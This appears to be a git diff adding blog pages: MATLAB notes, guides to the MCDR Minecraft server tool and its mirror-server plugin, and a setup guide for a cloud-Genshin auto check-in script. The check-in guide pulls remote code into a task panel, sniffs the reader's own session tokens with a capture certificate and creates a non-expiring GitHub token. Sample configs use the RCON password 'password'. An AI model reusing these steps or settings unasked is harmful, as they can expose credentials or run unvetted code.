序号与下标是一一对应的,以m*n矩阵A为例,矩阵A(i,j)的序号是(j-1)*m+i

+

矩阵元素的序号和下标可以通过sub2ind(行列换序号)和ind2sub(序号换行列)函数进行相互转换

+

调用格式:

+

D=sub2ind(S,I,J)S表示由矩阵的行数和列数组成的向量,一般用size(变量名)来获取;I表示转换矩阵元素的行下标,J表示转换矩阵元素的列下标。若IJ为矩阵的话,会将多个元素的下表转换为序号,此时IJ的行列数必须相同

+

[I,J]=ind2sub(S,D)S表示行数和列数组成的向量,D表示序号,返回序号所对应的行下标和列下表,I为行下标,J为列下标

+

冒号表达式

这一节以下面的几个例子展开:

+
1
2
3
4
A(i,:)			% 第i行的全部元素
A(:,j) % 第j列的全部元素
A(i:i+m,k:k+m) % 第i~i+m行内且在第k~k+m列中的所有元素
A(iLi+m,:) % 第i~i+m行的全部元素
+ +

从上面看,个人认为有点像Python的列表切片那种东西,只不过这里是二维的而且是全闭区间,Python的是半开半闭区间

+

可以使用end来表示某一位的末尾元素下标,例如:

+
1
2
3
4
5
6
7
A = [1 2 3; 4 5 6; 7 8 9];
A(end,:)

[output]
ans =

7 8 9
+ +

此处的end就是第三行,也就是说end会取到行/列的最大值

+

删除矩阵元素

利用空矩阵删除矩阵的元素

x为非空矩阵,此时想删除x中的内容,则直接使用x = []就可以删除元素了

+

可以跟冒号表达式一起使用删除大矩阵中的部分元素

+

改变矩阵的形状

利用函数reshape(A,m,n),表示在矩阵A保持不变的情况下,将A排列为m*n的二维矩阵,但是不改变元素个数和存储顺序,举例:

+
1
2
3
4
5
6
7
8
9
x = [1 2 3 4 5 6 7 8 9 10 11 12];
y = reshape(x,3,4)

[output]
y =

1 4 7 10
2 5 8 11
3 6 9 12
+ +

特殊的表达方式A(:)将A的每一列元素堆叠起来,成为一个列向量,例如:(此处的x与上面的一样)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
z = x(:)

[output]
z =

1
2
3
4
5
6
7
8
9
10
11
12
+ +

这样z就是用x中的元素堆叠成的列

+
Author: GamerNoTitle
Link: https://bili33.top/posts/MATLAB20211126/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/MCDR-Mirror-Server-Usage/index.html b/posts/MCDR-Mirror-Server-Usage/index.html new file mode 100644 index 0000000000..02f743ba6b --- /dev/null +++ b/posts/MCDR-Mirror-Server-Usage/index.html @@ -0,0 +1,364 @@ +MCDR-Mirror-Server使用手册和例子 | The usage and example of MCDR-Mirror-Server | GamerNoTitle + + + + + + + + + + + + + +

MCDR-Mirror-Server使用手册和例子 | The usage and example of MCDR-Mirror-Server

简体中文

感谢你选用MCDR-Mirror-Server作为MCDR镜像服插件,本页面是镜像服插件的一个例子,希望你看了这个例子能够更加清楚镜像服插件的工作原理和使用方法(*^▽^*)

+
+ +

English users please click me!

+

使用方法

首先,我们需要下载MCDR-Mirror-Server插件,你可以在Github仓库下载,对于中文用户,请下载mirror.pymirror.json

+

接着,把mirror.py放入MCDR的Plugins文件夹,把mirror.json放入MCDR的config文件夹,这样,插件的位置就到位了

+

在MCDR的目录下新建一个文件夹,或者在其他地方新建一个文件夹,用于存放镜像服的文件。

+

请注意!Windows用户请不要跨盘符建立文件夹,如果你的MCDR文件夹在C盘,那么你就把镜像服文件夹建立在C盘,请不要建立在D、E、F等盘(即禁止跨盘符建立文件夹),这是由于cmd的盘符切换方法导致你在运行MCDR的时候无法切换到其他盘符

+
+ +

将你的镜像服文件丢进你建立的文件夹内,可以带着MCDR进去,也可以不带,程序会自动判断是否带了MCDR

+

接着打开你的mirror.json文件,我们将要开始配置了

+
1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": false,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": false
}
}
+ +

首先,将path后面的内容改为你的文件夹路径,可以是相对路径也可以是绝对路径

+

world后面的内容改为你的世界文件夹的名字,请注意需要按照列表的格式填写,即["world","world1","world2"]等,将你所有的世界文件夹填入,如果你是原版服务器的话基本上只填写world是莫得问题的

+

command改为你的镜像服启动的命令,例如java -Xms2G -Xmx4G -jar server.jar或者python3 MCDReforged.py等,如果你的镜像服也带了MCDR,你需要注意:Windows使用python的方式不是写作python3而是写作py或者python,linux则特定要写python3

+

下面是rcon的相关配置,有关rcon的相关信息,你可以看这里

+

enable是是否开启rcon功能,如果开启了就可以使用rcon的功能,如果不开启就不行,相当于镜像服对镜像服rcon链接的总开关吧

+

address是镜像服服务器的地址,如果你是同一台机子就填127.0.0.1即可,否则就要填写直连的地址

+

secret填写镜像服的rcon密码,这个在server.properties里面设置的

+

port填写镜像服的rcon端口,同样在server.properties设置

+

command即是否允许利用!!mirror rcon <command>来对镜像服使用命令

+

填写完了以后,你仍然需要在server.properties里面修改端口,避免端口冲突

+

然后就可以在主服务器里!!MCDR reload plugin然后使用!!mirror start来尝试开启服务器了

+

使用例子

以我自己来说,我的目录树大概长这样

+
1
2
3
4
5
6
7
8
9
10
11
MCDReforged
├─config
├─lang
├─mirror
│ ├─server
│ │ └─world
├─plugins
├─resources
├─server
│ └─world
└─utils
+ +

我的mirror文件夹就是我的镜像服文件夹,里面放了MCDR作为镜像服的管理工具,原版服务器上了Fabric,使用Linux来开服,所以我的config是下面这样的

+
1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": true,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": true
}
}
+ +

在mirror文件夹里面,我的文件大概如图所示(注:我开服的系统是linux,只是这里用Windows来浏览文件)

+

Mirror文件夹的文件

+

我的镜像服server.properties的内容如下

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#Minecraft server properties
#Wed Jul 08 12:17:29 CST 2020
broadcast-rcon-to-ops=true
view-distance=10
max-build-height=256
server-ip=
rcon.port=25585
level-seed=
allow-nether=true
gamemode=creative
enable-command-block=true
server-port=25566
enable-rcon=true
enable-query=false
op-permission-level=4
prevent-proxy-connections=false
generator-settings=
resource-pack=
player-idle-timeout=0
level-name=world
rcon.password=password
motd=Minecraft Server by GamerNoTitle
query.port=25566
force-gamemode=false
debug=false
hardcore=false
white-list=false
broadcast-console-to-ops=true
pvp=true
spawn-npcs=true
spawn-animals=true
generate-structures=true
snooper-enabled=true
difficulty=hard
function-permission-level=2
network-compression-threshold=256
level-type=default
max-tick-time=60000
spawn-monsters=true
enforce-whitelist=false
max-players=20
use-native-transport=true
spawn-protection=0
resource-pack-sha1=
online-mode=false
allow-flight=false
max-world-size=29999984
+ +

其实最主要的是下面这几个

+
1
2
3
4
rcon.port=25585
server-port=25566
enable-rcon=true
rcon.password=password
+ +

保证端口不冲突即可,其他其实没啥;然后就是设置rcon的密码,然后把密码填进mirror.json,接着在主服务器用!!mirror start开服,就可以了

+

工作原理

工作原理很简单!就是通过MCDR打开了位于你镜像服文件夹的一个服务器,如果是Windows顺带还开多了一个powershell以免stop的时候把主服务器也stop了;关服务器的原理就是通过rcon对镜像服发起了/stop指令,仅此而已;同步就是对镜像服的世界文件夹覆盖

+
+

English

Thanks for choosing MCDR-Mirror-Server as your mirror server plugin. This page is an example of mirror plugin. Hopefully it can make you clear the working principle of the plugin and help you use the plugin more efficiently and more conveniently

+

Due to my lack of English (I’m still a senior high school student in China), some grammars may be wrong. If you don’t mind or help me correct it, I’ll appreciate it. Thanks♪(・ω・)ノ

+
+ +

Usage

First, you need to download MCDR-Mirror-Server plugin, you can download it from my Github. For English users, you need to download mirror.py and mirror.json.

+

Now you have downloaded the things you need, just put mirror.py into plugins folder and put mirror.json into config folder. Congratulate! You have installed the plugin successfully!

+

Create a new folder in MCDR’s folder or other place, for the use or put the mirror’s file inside it.

+

For Windows users be careful: You can’t put the folder across the drive. For example, if your main server folder is in C drive, then just create the folder in C drive, don’t put it into D, E, F, etc. Since the switch method of cmd, you cannot switch to another drive while you’re using MCDR

+
+ +

And now, but your mirror server into the folder you just created. Whether it included a MCDR is not a question, the plugin will automatically detect it.

+

Next, open the file mirror.json and edit the configuration of it

+
1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": false,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": false
}
}
+ +

Firstly, change ./mirror/ into the folder you just created (An absolute path or a relative path is avaliable)

+

Next change the list behind world with the format like ["world", "world1", "world2"], type all your world folder in. If your server is vanilla one then just keep it

+

Change the content behind command as your server’s start command. For example, java -Xms2G -Xmx4G -jar server.jar for vanilla or python3 MCDReforged.py for MCDReforged.

+

Tips: For Windows users, the startup command of python is py or python not python3 for linux users.

+

The following settings are the rcon ones, if you want to know what is rcon, you can visit here

+

enable means whether the rcon feature of mirror plugin is enabled or not, true to enable it, or false to disable it. If you disabled it, you cannot use any functions of rcon like remote shutdown and so on.

+

address is the mirror server’s address. For the users who put the two server into the same computer, just keep it as 127.0.0.1

+

secret is the password of your rcon, you can change it in server.properties file.

+

port is the port of the rcon on mirror server, you can also change it in server.properties file

+

command is the switch on allowing to use !!mirror rcon <command> command to input command to mirror server.

+

when you’re finished, you also need to change the port your mirror server in order to avoid the same port use between the main server and the mirror one.

+

Example

For my mirror, my directory tree like this

+
1
2
3
4
5
6
7
8
9
10
11
MCDReforged
├─config
├─lang
├─mirror
│ ├─server
│ │ └─world
├─plugins
├─resources
├─server
│ └─world
└─utils
+ +

My mirror server folder inside MCDReforged is the folder called mirror, and I put a MCDR in it in order to manage my mirror server. After all, I use linux to hold the server, so my config grows like this

+
1
2
3
4
5
6
7
8
9
10
11
12
{
"path": "./mirror/",
"world": ["world"],
"command": "python3 MCDReforged.py",
"remote":{
"enable": true,
"address": "127.0.0.1",
"secret": "password",
"port": 25575,
"command": true
}
}
+ +

My file in mirror folder like the picture below (PS: I use linux to hold the server, and I just use Windows to explore my files)

+

All my files in mirror folder

+

and my server.properties of my mirror like this

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#Minecraft server properties
#Wed Jul 08 12:17:29 CST 2020
broadcast-rcon-to-ops=true
view-distance=10
max-build-height=256
server-ip=
rcon.port=25585
level-seed=
allow-nether=true
gamemode=creative
enable-command-block=true
server-port=25566
enable-rcon=true
enable-query=false
op-permission-level=4
prevent-proxy-connections=false
generator-settings=
resource-pack=
player-idle-timeout=0
level-name=world
rcon.password=password
motd=Minecraft Server by GamerNoTitle
query.port=25566
force-gamemode=false
debug=false
hardcore=false
white-list=false
broadcast-console-to-ops=true
pvp=true
spawn-npcs=true
spawn-animals=true
generate-structures=true
snooper-enabled=true
difficulty=hard
function-permission-level=2
network-compression-threshold=256
level-type=default
max-tick-time=60000
spawn-monsters=true
enforce-whitelist=false
max-players=20
use-native-transport=true
spawn-protection=0
resource-pack-sha1=
online-mode=false
allow-flight=false
max-world-size=29999984
+ +

The most important things are the following configuration

+
1
2
3
4
rcon.port=25585
server-port=25566
enable-rcon=true
rcon.password=password
+ +

just keep the port use not the same, and setup your rcon’s password. Type the password and port in the mirror.json and use !!mirrro start in your main server to startup your mirror. That’s it.

+

Principle

It’s pretty easy! Just use MCDR to call python to use command to turn on another server. For Windows users, i’ve also create a new powershell thread to hold the mirror one in order to prevent the main server being killed. The shutdown just use rcon feature to send a /stop command to the mirror folder. Sync just copy the main server’s world into the mirror one.

+
Author: GamerNoTitle
Link: https://bili33.top/posts/MCDR-Mirror-Server-Usage/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/MCDR-Usage/index.html b/posts/MCDR-Usage/index.html new file mode 100644 index 0000000000..662518726e --- /dev/null +++ b/posts/MCDR-Usage/index.html @@ -0,0 +1,373 @@ +MCDR的正确食用方式 - 让你的服务器像TIS一样拥有QB! | GamerNoTitle + + + + + + + + + + + + + +

MCDR的正确食用方式 - 让你的服务器像TIS一样拥有QB!

你是否也想有能够在游戏内快速管理的服务器?

+

你是否也想像TIS一样有各种扩展?

+

你是否也想有!!qb

+

MCDReforged!不要998,不要888,只要……!@#¥%……&*()

+

咳咳,走错片场了……

+
+

MCDReforged是一个不需要修改MC服务端的情况下,使用自定义的插件系统提供服务器的管理等功能的一个工具,由@Fallen_Breath开发,使用Python作为运行环境(拒绝PY2从我做起)

+

这里有一个第三方的MCDR官网,你可以参阅一下

+

本篇我们来讲讲它的用法和我开发的插件的用法

+

如何使用

工作环境

Python 的版本需要 Python 3.6+。已在如下环境中测试运行通过:

+
    +
  • Windows10 x64 Python 3.6
  • +
  • Centos7 x64 Python 3.8
  • +
  • Ubuntu18.04.4 x64 Python 3.6
  • +
+

这是佛冷测试的数据,我自己的Python版本是3.6.9,在Ubuntu 18.04.4 LTS上通过

+

你首先需要安装Python3,怎么安装请自己搜索,这不是我们这一节要讨论的内容

+

获取MCDR

你需要下载一个MCDR,我们转到MCDR的Release页面,下载最新版的MCDReforged,解压,你能得到以下目录

+
1
2
3
4
5
6
7
8
9
MCDReforged
├─config
├─plugins
├─resources
│ └─lang
├─server
└─utils
├─parser
└─reactor
+ +

这里说一下我们将要用到的文件夹:

+

config是用来存放插件的配置文件的

+

plugins就是插件存放的位置,你可以到MCDR插件库(中文)下载插件

+

server就是存放服务器文件的位置,我们的服务器文件例如minecraft.jarworld都放在这个里面

+

其他的文件夹我们不会用到,就不动它

+

在MCDR的目录下打开命令行窗口,使用

+
1
2
$ pip install -r requirement.txt	# Windows用户
$ pip3 install -r requirement.txt # Linux用户
+ +

安装MCDR运行所需要的Python模块

+

配置MCDR

配置项配置

打开config.yml文件,里面有所有我们需要调整的MCDR参数

+

有以下配置项

+
1
2
3
4
5
6
7
8
9
10
11
language: en_us
working_directory: server
start_command: java -Xms1G -Xmx2G -jar minecraft_server.jar nogui
parser: vanilla_parser
encoding:
decoding:
console_command_prefix: '!!'
enable_rcon: false
rcon_address: 127.0.0.1
rcon_port: 25575
rcon_password: password
+ +

首先,如果你需要中文,就把language调成zh_cn;如果你不需要,可以不动它,直接保留en_us

+

working_dictionary是我们服务端存放的文件夹,当然你可以把server改成你喜欢的名字,然后在MCDR的工作目录里面新建一个与你填入的名字相同的文件夹,把服务端扔里头

+

start_command就是启动服务器用的命令,也就是你在服务器文件夹里面输入的启动命令,同样如果你写在了start.sh里面,可以直接填sh ./start.sh

+

parser是解码器,这个你可以根据你的服务端来填,具体如下

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
解析器名称兼容的服务器类型
vanilla_parser适用于原版 / Carpet / Fabric 服务端
bukkit_parser适用于 1.14 以下的 Bukkit / Spiogt 服务端,和任意版本的 Paper 服务端
bukkit_parser_14适用于 1.14 及以上的 Bukkit / Spiogt 服务端
forge_parser适用于 Forge 服务端
cat_server_parser适用于 CatServer 服务端
bungeecord_parser适用于Bungeecord 服务端。请在启动参数的 -jar 前添加 -Djline.terminal=jline.UnsupportedTerminal 以让其支持 MCDR 的控制,来源
waterfall_parser适用于 Waterfall 服务端
+

decodingencoding是编码方式,一般留空即可

+

console_command_prefix是MCDR的命令前缀,一般保持!!即可

+

enable_rcon和下面的rcon设置是Minecraft服务器的Rcon,如果你要打开你需要到server.properties里修改rcon的相关参数

+
权限配置

MCDR也有插件选项,拥有admin权限的玩家可以在游戏内使用MCDR服务器的指令,例如!!MCDR reload plugin,而且有些插件也会对权限进行检查,所以这就有必要配置权限

+

我们打开permission.yml文件,在对应的用户组输入用户名即可,例如

+
1
2
3
4
5
6
7
8
9
default_level: user

owner:
- GamerNoTitle # 这里就是给我owner权限
admin:
- UBIthepotato # 这里就是给UBIthepotato上admin权限
helper:
user:
guest:
+ +

给完权限后,在后台使用!!MCDR reload permission来刷新权限

+

启动MCDR

配置完MCDR后,我们回到MCDR的工作目录,使用命令

+
1
2
$ python MCDReforged.py	# Windows用户
$ python3 MCDReforged.py # Linux用户
+ +

来启动我们的服务器,当你看到提示Done (12.757s)! For help, type "help"就是启动完了(不同服务端的提示可能不一样,我这里是vanilla

+

安装插件

首先你需要到MCDR插件库(中文)下载插件,文件应该是一个xxx.py文件,有的插件会带有一个xxx.json的配置文件

+

xxx.py文件放入plugins文件夹,将xxx.json放入config文件夹即可

+

如果你的服务器正在运行,可以使用!!MCDR reload plugin来重载插件

+
+

题外话

MCDR是真的好用,我的MC服务器就用的它

+

现在想完善一下镜像服插件的功能,想试试在主服务器关闭镜像服,不过得慢慢做了

+

本月我没咕!没咕!咕咕咕咕~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/MCDR-Usage/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/MHYY-AutoCheckin-Manual/index.html b/posts/MHYY-AutoCheckin-Manual/index.html new file mode 100644 index 0000000000..1d1cc85251 --- /dev/null +++ b/posts/MHYY-AutoCheckin-Manual/index.html @@ -0,0 +1,445 @@ +MHYY-AutoCheckin - 米哈云游(云原神)自动签到脚本食用指南 | GamerNoTitle + + + + + + + + + + + + + + + + +

MHYY-AutoCheckin - 米哈云游(云原神)自动签到脚本食用指南

米哈云游(云原神)自动签到脚本食用指南

在指南开始之前,请确保你有一颗聪明的头脑和可以折腾的时间,否则请等时机合适再进行配置!

+

在使用过程中如果遇到什么问题,请前往Issues · GamerNoTitle/MHYY (github.com)发起新的issue来提出,不要在本页面的评论区提出问题(因为追踪性太差了)

+

对于正在使用本脚本的用户,请注意:每次云原神更新后(一般会跟着本体大版本更新就更一次),请把自己的配置中的version修改为最新的云原神版本,否则可能会出现不可预料的错误;并且请及时更新脚本,在自己的仓库点击Fetch upstream然后点击Merge即可!)

+

现在这个值是作为fallback值使用,只有当官方的版本号服务器不可用时才会用到这个值,所以有空就改,不改也可以

+
+ +

用前必读

⚠️请不要进行宣传,谢谢!一旦发现宣传就删库跑路!使用过程中如果出现bug可能会使用您的日志进行错误追踪,详情请见隐私政策

+

快速开始

+

先点个STAR,我们马上开始我们的教程:D

+
+

青龙面板

如果你选择使用青龙面板,那么你需要执行以下操作

+

首先点开订阅管理,把这个命令粘贴进去

+
1
ql repo http://gogs.console.bili33.top/GamerNoTitle/MHYY-AutoCheckin.git "main" "" ""
+ +

然后他会自动识别,并填入相应的内容,你只需要修改定时规则即可,名称按照自己需要修改

+

如果上面这个命令贴进去后因为网络原因(有可能我的gogs宕机了)或者其他原因拉取不了,可以改成下面这个

+
1
ql repo https://github.com/GamerNoTitle/MHYY.git "main" "" ""
+ +

优先还是建议用gogs的那个,谁知道啥时候Github就给我仓库封了呢~

+

保存以后点击运行按钮更新一下订阅

+

+

在定时任务中你就能找到刚刚更新的内容,但是还不能够使用,我们还需要配置依赖和环境变量

+

我们需要两个python3依赖,分别是requestssentry-sdk,如图填写并安装

+

+

然后点到环境变量,新建名为config的变量(可以改,请见青龙面板不使用config作为变量名)把我们的配置填进去,点击保存

+

配置应该如下(单个账号)

+
1
2
3
4
5
6
7
8
9
10
11
{
"token": "token1",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
}
+ +

程序已经支持多个账号了,多个账号你需要按照下面这个格式填写

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[
{
"token": "token1",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
},
{
"token": "token2",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
}
]
+ + + +

+

保存后你就可以在定时任务中运行试试看效果了~

+
青龙面板不使用config作为变量名

先点开脚本管理,找到你对MHYY-AutoCheckin的命名,然后打开它的文件夹,找到main.py文件,在大约23行的位置找到以下内容

+
1
2
# Running in Github Action, use this to get the config
config = json.loads(os.environ.get('config'))
+ +

把括号里的config改成你想要的名字,然后配置环境变量的时候就直接改成你配置的名字就可以了~

+

+

Github Action 版本

原仓库在2023/02/03收到Github通知封禁,镜像仓库在GamerNoTitle/MHYY: Disabled Action, if you need it, enable it by yourself (github.com),本项目仓库的Github Action已经被我手动禁用,如果需要使用Action版本,请将~/.github/workflows文件夹内的两个文件后面的.disabled删掉!

+

+
+ +

首先你需要先打开本脚本的仓库GamerNoTitle/MHYY: 米哈云游(云原神)自动签到脚本,让你每天都拿到15分钟~ (github.com),点击右上角的fork按钮,接着点击下面绿色的Create fork来创建一个分支

+

+

然后点击上面的Settings,导航到Secrets->Actions页面下,点击New repository secret(如图)

+

+

+

将以下内容进行填充后加入名字为config的Secret中(内容获取请参照配置内容获取一节)

+
1
2
3
4
5
6
7
8
9
10
11
{
"token": "",
"type": 0,
"version": "2.2.0",
"android": "0",
"deviceid": "",
"devicename": "",
"devicemodel": "",
"appid": 0,
"analytics": true
}
+ +

阿里云函数版本

首先你得先下载本仓库的代码文件,点击右上角绿色的Code,然后点击Download ZIP,把压缩包下载后解压到一个你知道的地方,我们一会会用到

+

先打开阿里云函数,点左边的函数服务,然后顶上选择地区,随便选(但是最好是国内)

+

点击创建服务来建立一个新的服务

+

+

紧接着创建一个新的函数,设置方法如下面几张图

+

+

+

+

+

创建后会自动打开阿里云函数的vscode,在这里,点击上面的Terminal,点击New Terminal(也可以直接快捷键Ctrl + Shift + `

+

打开以后在里面输入下面的命令

+
1
chmod +x ./preinstall.sh && ./preinstall.sh
+ +

运行完以后,打开config.json,把自己的配置内容填进去即可,然后点击部署代码

+

一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!

+

要是不确定能不能使用,可以点一下顶上的测试函数,看看能不能使用

+

腾讯云函数版本(不推荐,腾讯要收钱了,可以在阿里云函数使用,正常是不会用完你的免费额度的)

首先你得先下载本仓库的代码文件,点击右上角绿色的Code,然后点击Download ZIP,把压缩包下载后解压到一个你知道的地方,我们一会会用到

+

先打开腾讯云函数,点左边的函数服务,然后顶上选择地区,随便选(但是最好是国内)

+

点击新建来建立一个新的函数

+

+

+

函数的名称可以随便填,但是你也得符合腾讯云指定的规则;但是运行环境一定一定要选择Python 3.6(因为Python 3.7不带我们需要的环境,还需要自己装非常麻烦)

+

接着往下,提交方法选择本地上传文件夹,然后选择你刚刚解压的文件夹里面的SCF文件夹,接着重点来啦:执行方法里面填写为index.handler(一定要改)

+

+

接着点击下面的触发器配置,选择自定义创建,触发方式选择定时触发,触发周期选择每1天,下面的启用要打勾,点击完成

+

+

创建完成后进入配置界面,先点击顶上的函数配置,点击编辑,往下面拉找到初始化超时时间执行超时时间,把这两个数字往高了调

+

+

然后点击顶上的函数代码,等底下加载完后点击config.json,把你的信息填进去

+

然后打开终端,输入以下代码安装依赖

+
1
chmod +x ./preinstall.sh && ./preinstall.sh
+ +

+

一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!

+

往下拉,先点击部署,然后点测试,只要测试成功了就是部署完成了

+

+

+

其他云函数

其他的云函数有如下

+ +

用法其实跟阿里云函数腾讯云函数大差不差,看着用就行了,不会就开issue问

+

配置解释(配置内容获取

    +
  • token 是在云原神登录后用于验证的token
  • +
  • type (应该)是设备类型,安卓好像是2,iOS设备用户是1但是目前还不支持iOS设备,请看这里
  • +
  • version 是云原神的版本(每次更新以后记得改一下,不然可能会出问题 不用改了,现在改成从官方服务器获取版本号)
  • +
  • android 安卓版本,例如我的红米K40的安卓版本是Android 12,就填入12,应该是只有Android有,因为手上只有Android设备,如果你愿意用iOS设备进行测试的话,请将相关内容发邮件到GamerNoTitle@outlook.com
  • +
  • deviceid 设备在米哈游注册的id(格式为UUID,例如d76fb4b4-b898-4093-990d-c57ebb40f29b
  • +
  • devicename 设备的名称
  • +
  • devicemodel 设备的型号(请注意:deviceid devicename devicemodel 尽量是同一台手机的内容,因为指不定那天米忽悠就对这三个东西进行校验了,当然你要用公共的我也不阻止对吧)
  • +
  • appid 暂时不清楚,从我目前手上各用户提交的统计信息来看,好像是云原神这个应用在米哈游的应用id(貌似不会变)
  • +
  • analytics 因为关于这个东西的信息太少,所以会把除了token以外的东西发送到我的云端服务器以便于分析,如果你不想分享你的信息(包括设备id、设备名称、设备型号等),请将这个设置为false
  • +
+

配置完成后,我们点开顶上的Actions,然后点绿色的那个按钮

+

+

然后点击左侧列表中的两个脚本,点Enable workflow来启用

+

+

然后我们点开左侧的AutoCheckin,然后点Run workflow来运行,只要运行结果打了绿色的勾勾就一般就没啥问题

+

+

自动保活

事实上,对于现版本的Github Action,只需要把KeepActionAlive打开即可,下面的这些操作是旧版本的Action所需要的

+
+ +

因为Github在仓库没有push三个月后会停用仓库的一切Action,所以说我们需要进行保活。

+

在启用KeepActionAlive之前,你需要创建一个用来push更改的GITHUB_TOKEN

+

右上角点击自己的头像,然后点击Settings,然后在左侧的导航栏找到Developer Settings

+

+

然后在左边找到Personal Access Tokens,点击Generate new token生成一个token,名字填写为GITHUB_TOKEN

+

+

把过期时间设置为No expiration,然后依次勾选下面内容

+

+

然后点最下面的绿色按钮Generate token即可

+

在Action页面启用KeppActionAlive即可!脚本会在每个月的1号自动推送更新从而达到保活的目的。

+

配置内容获取

因为云原神是在手机上运行的,所以你需要安装一个手机上的抓包软件(例如HttpCanary,或者如果你能够用fiddler电脑运行去抓也行)

+

一定要记得装抓包软件提供的证书,要不然解不了SSL连接,一定要先登录并成功进去了再启动抓包软件!!!

+

+

这里面只要是个HTTP链接,随便一个里面都有我们所需要的东西,这里我就点开了一个链接,在请求里面有所有我们需要的东西,而解释我都写在图片里面了

+

+

其中,这里面的东西与变量有如下的对应关系

+
1
2
3
4
5
6
7
8
9
10
11
{
"token": x-rpc-combo_token,
"type": x-rpc-client_type,
"version": x-rpc-app_version,
"android": x-rpc-sys_version,
"deviceid": x-rpc-device_id,
"devicename": x-rpc-device_name,
"devicemodel": x-rpc-device_model,
"appid": x-rpc-app_id,
"analytics": true
}
+ +

version不是必要的,在a4e5f06..7bd5d44 commit中,使用了米忽悠自己的api获取云原神的最新版本号,此处填写version只是作为获取不到最新版本号时的fallback值

+

对于token(应该说写作token念作cookie)由以下几部分组成:

+
    +
  • ai 一个数值,具体含义未知
  • +
  • ci 一个数值,具体含义未知
  • +
  • oi 一个数值,推测是米游社ID
  • +
  • ct 一串字符,具体作用未知,推测为认证使用
  • +
  • si 一串字符,具体作用未知,推测为认证使用
  • +
  • bi 一串字符,推测为服务器通道
  • +
+

只要把对应的内容填到配置中即可!对于字符串类型的内容请使用双引号而不是单引号,json不认单引号(在错误收集中发现有此类现象,故特别提出)

+

请不定时自己上线米哈云游(云原神)来清理签到的提醒消息,不然会一直堆积着,就要点好多次了

+

堆积的信息可以在运行结果中查看

+

+

iOS设备用户须知

因为米忽悠在请求头中的cms-signature键中写了用了hmac-sha1加密方法,这种加密方法需要要加密的信息密钥,这两个东西我这边目前都不能确定(其实有要加密的信息就可以去猜密钥,但是目前不清楚是对什么进行了加密),而且在CONTENT-MD5中,还对请求的MD5进行了校验(这个好搞,主要是前面那个),最后还有一个时间Date的请求头(目前猜是发出请求的时间),总的来说就是不好搞,如果你手上是iOS设备,并且你愿意用iOS设备进行测试的话,请将相关内容发邮件到GamerNoTitle@outlook.com,最好是抓到的所有包都截图发一下(我好进行判断),并且抓多几次(感谢多玩幻灵qwq愿意与我共享他的抓包数据,这是我第一次收到iOS设备有关信息,谢谢你的共享:D)

+

已知iOS设备抓包会包含以下内容(以log获取为例)[感谢@多玩幻灵qwq在QQ给我提供的完整请求]

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Host: log-upload.mihoyo.com
x-rpc-device_model: iPhone11,8 <表示iPhone的版本,可能会在新iPhone出来后变更,11,8表示从iPhone 11 ~ iPhone 8的设备(懒狗米忽悠)>
Cookie: account_id=<猜测是米游社ID>; cookie_token=<认证用的Token>; ltoken=<认证用的Token+1>; ltuid=<米游社ID+1,应该跟account_id是一样的>
User-Agent: %E4%BA%91%C2%B7%E5%8E%9F%E7%A5%9E/24 CFNetwork/1331.0.7 Darwin/21.4.0 (前面那里的URL解码后是"云·原神")
Referer: https://app.mihoyo.com
x-rpc-device_name: iPhone
cms-signature: hmac-sha1
Content-Length: <请求长度,暂时不知道怎么算的>
CONTENT-MD5: <MD5校验值,暂时不知道是拿什么东西算的MD5>
Date: <时间戳值,为请求发出时间>
x-rpc-combo_token: <格式同Android抓包得到的格式>
x-rpc-channel: appstore
x-rpc-app_version: <云原神版本>
Authorization: <身份认证Key,暂时不知道会不会变>
Accept-Language: zh-CN,zh-Hans;q=0.9
Connection: keep-alive
x-rpc-client_type: 1 <1表示iOS系列>
x-rpc-device_id: <设备ID,格式为UUID5>
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
x-rpc-sys_version: <iOS版本>
+ +

Q&A

青龙面板里面怎么用 (因仓库被封所以issue没了,请看青龙面板一节

使用Action版本,把配置写入config.json内,然后根据这个链接里面的做法对脚本进行小修改就可以用了

+

